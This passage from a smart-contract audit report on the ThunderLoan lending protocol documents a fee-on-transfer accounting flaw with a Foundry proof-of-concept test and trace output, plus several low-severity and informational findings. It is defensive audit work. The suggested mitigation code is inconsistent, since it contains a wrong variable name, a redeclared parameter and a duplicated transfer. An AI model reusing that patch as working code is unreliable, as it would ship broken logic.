As you can see in highlighted line, It calculates the token amount based on amount rather actual token amount received by the contract. If any fees token is supplied to contract, then redeem function will revert (due to insufficient funds) or if there are multiple users who supplied this token, then some users won't be able to withdraw there underlying token ever.

**Impact:** Eventually tokens will be drained off the contract.

**Proof of Concept:** 1. Lp depsoits 100 tokens. 2. but on each token transfer , token contract charges 1 percent fee. 3. technically only 99 tokens deposited. 4. but the contract will store it as 100 tokens although only 99 tokens are there in contract. 5. if the Lp redeems it the contract would send him 100 tokens 6. but again the transfer tax would cut 1 token 7. Lp will get 99 tokens

Proof of Code

```
pragma solidity 0.8.20;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Test, console2} from "forge-std/Test.sol";
import {ThunderLoan} from "../../src/protocol/ThunderLoan.sol";
import {ERC20Mock} from
 ↪  "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {MockTSwapPool} from "../mocks/MockTSwapPool.sol";
import {MockPoolFactory} from "../mocks/MockPoolFactory.sol";
import {ERC1967Proxy} from
 ↪  "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {BaseTest} from "../unit/BaseTest.t.sol";
import {AssetToken} from "../../src/protocol/AssetToken.sol";
```

```
contract TaxERC is ERC20 {
    constructor() ERC20("TAXERC", "TX") {}

    function mint(address account, uint256 amount) external {
        _mint(account, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        _burn(from, amount / 100);
        super._transfer(from, to, amount - (amount / 100));
    }
}

contract TestTaxERC is BaseTest {
    function testTaxERC() public {
        TaxERC taxtoken = new TaxERC();
        vm.prank(thunderLoan.owner());
        mockPoolFactory.createPool(address(taxtoken));
        thunderLoan.setAllowedToken(taxtoken, true);
        address lp = makeAddr("lp");
        vm.startPrank(lp);
        taxtoken.mint(lp, 10e18);
        taxtoken.approve(address(thunderLoan), 10e18);
        thunderLoan.deposit(taxtoken, 10e18);
        vm.stopPrank();
        AssetToken asset = thunderLoan.getAssetFromToken(taxtoken);
        uint256 balance = taxtoken.balanceOf(address(asset));

        uint256 assetBalance = asset.balanceOf(lp);
        console2.log("Asset token balance of lp ", assetBalance);
        console2.log("balance after 10e18 tokens deposits", balance);
        assert(assetBalance != balance);
    }
}
```

ouput:

```
    ├─ [1650] ERC1967Proxy::fallback(TaxERC: [0xa0Cb889707d426A7A386870A03bc70d1
    │   ├─ [1173] ThunderLoan::getAssetFromToken(TaxERC: [0xa0Cb889707d426A7A386
```

```
    │   │   └─ ← [Return] AssetToken: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04
    │   └─ ← [Return] AssetToken: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c]
    ├─ [851] TaxERC::balanceOf(AssetToken: [0xa38D17ef017A314cCD72b8F199C0e108EF
    │   └─ ← [Return] 9900000000000000000 [9.9e18]
    ├─ [852] AssetToken::balanceOf(lp: [0x44bC268D6f10DfB004c5b9afe91648b1c7c8b6
    │   └─ ← [Return] 10000000000000000000 [1e19]
@>  ├─ [0] console::log("Asset token balance of lp ", 10000000000000000000 [1e19
    │   └─ ← [Stop]
@>  ├─ [0] console::log("balance after 10e18 tokens deposits", 990000000000000000
    │   └─ ← [Stop]
    └─ ← [Stop]
```

**Recomended Mitigation:** make a check in the deposit function like this”

```
function deposit(IERC20 token, uint256 amount) external
 ↪  revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
+       uint256 amountBefore = IERC20(token).balanceOf(address(this));
+       token.safeTransferFrom(msg.sender, address(assetToken), amount);
+       uint256 amountAfter = IERC20(token).balanceOf(address(this));
+       uint256 amount = AmountAfter - amountBefore;
        uint256 mintAmount = (amount *
 ↪  assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

### Low

#### [L-1] getCalculatedFee can be 0.

**Description:** Any value up to 333 for “amount” can result in 0 fee based on calculation

```
    function testFuzzGetCalculatedFee() public {
        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
```

```
        uint256 calculatedFee = thunderLoan.getCalculatedFee(
            tokenA,
            333
        );

        assertEq(calculatedFee ,0);

        console.log(calculatedFee);
    }
```

Impact Low as this amount is really small

Recommendations A minimum fee can be used to offset the calculation, though it is not that important.

#### [L-2] updateFlashLoanFee() missing event

**Description:**

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > FEE_PRECISION) {
            revert ThunderLoan__BadNewFee();
        }
@>        s_flashLoanFee = newFee;
    }
```

**Impact:** In Ethereum, events are used to facilitate communication between smart contracts and their user interfaces or other off-chain services. When an event is emitted, it gets logged in the transaction receipt, and these logs can be monitored and reacted to by off-chain services or user interfaces.

Without a FeeUpdated event, any off-chain service or user interface that needs to know the current s_flashLoanFee would have to actively query the contract state to get the current value. This is less efficient than simply listening for the FeeUpdated event, and it can lead to delays in detecting changes to the s_flashLoanFee.

The impact of this could be significant because the s_flashLoanFee is used to calculate the cost of the flash loan. If the fee changes and an off-chain service or user is not aware of the change because they didn't query the contract state at the right time, they could end up paying a different fee than they expected.

**Recommended Mitifgtion:** Emit an event for critical parameter changes.

```
+ event FeeUpdated(uint256 indexed newFee);
```

```
  function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+        emit FeeUpdated(s_flashLoanFee);
    }
```

#### [L-3] Mathematic Operations Handled Without Precision in getCalculatedFee() Function in ThunderLoan.sol

**Description:** The identified problem revolves around the handling of mathematical operations in the getCalculatedFee() function. The code snippet below is the source of concern:

```
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) /
 ↪  s_feePrecision;
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
The above code, as currently structured, may lead to precision loss during
 ↪  the fee calculation process, potentially causing accumulated fees to be
 ↪  lower than expected.
```

**Impact:** This issue is assessed as low impact. While the contract continues to operate correctly, the precision loss during fee calculations could affect the final fee amounts. This discrepancy may result in fees that are marginally different from the expected values.

**Recommendations:** To mitigate the risk of precision loss during fee calculations, it is recommended to handle mathematical operations differently within the getCalculatedFee() function. One of the following actions should be taken:

Change the order of operations to perform multiplication before division. This reordering can help maintain precision. Utilize a specialized library, such as math.sol, designed to handle mathematical operations without precision loss. By implementing one of these recommendations, the accuracy of fee calculations can be improved, ensuring that fees align more closely with expected values.

### Informational

#### [I-1] State Change Without Event

**Recomended Mitigation:** There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit flashLoanFeeUpdated(s_flashLoanFee);
    }
```

**[I-2] Unused Error**

**Recomended Mitigation:** Consider using or removing the unused error.

```diff

-    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

**[I-3] Address State Variable Set Without Checks**

**Recomended Mitigation:** Check for `address(0)` when assigning values to address state variables.